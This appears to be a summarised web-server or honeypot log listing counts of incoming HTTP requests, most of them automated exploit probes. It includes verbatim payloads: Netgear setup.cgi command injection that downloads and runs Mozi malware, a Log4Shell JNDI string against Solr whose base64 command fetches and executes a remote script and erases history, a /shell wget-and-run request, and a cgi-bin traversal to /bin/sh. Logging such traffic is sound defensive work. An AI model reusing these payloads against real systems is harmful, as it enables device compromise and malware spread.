1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//182[.]117[.]180[.]236:40093/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+0[.]0[.]0[.]0/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shopdb/index.php?lang=en`	HTTP/1.1
1	GET	`/solr/admin/collections?action=t(%27$%7B$%7Benv:BARFOO:-j%7Dndi$%7Benv:BARFOO:-:%7D$%7Benv:BARFOO:-l%7Ddap$%7Benv:BARFOO:-:%7D//5[.]181[.]80[.]103:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzE0NS4yMzkuMjM0LjE1NC9iaW5zLnNoIC1vIGJpbnMuc2g7IHdnZXQgaHR0cDovLzE0NS4yMzkuMjM0LjE1NC9iaW5zLnNoOyBjaG1vZCA3NzcgYmlucy5zaDsgLi9iaW5zLnNoOyBybSAtcmYgYmlucy5zaDsgaGlzdG9yeSAtYw==%7D%27)&wt=json`	HTTP/1.1
1	GET	`/sql/myadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/php-myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmy-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sql-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sql/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sqladmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sqlweb/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/webadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/sql/webdb/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/websql/index.php?lang=en`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/xmlrpc.php`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1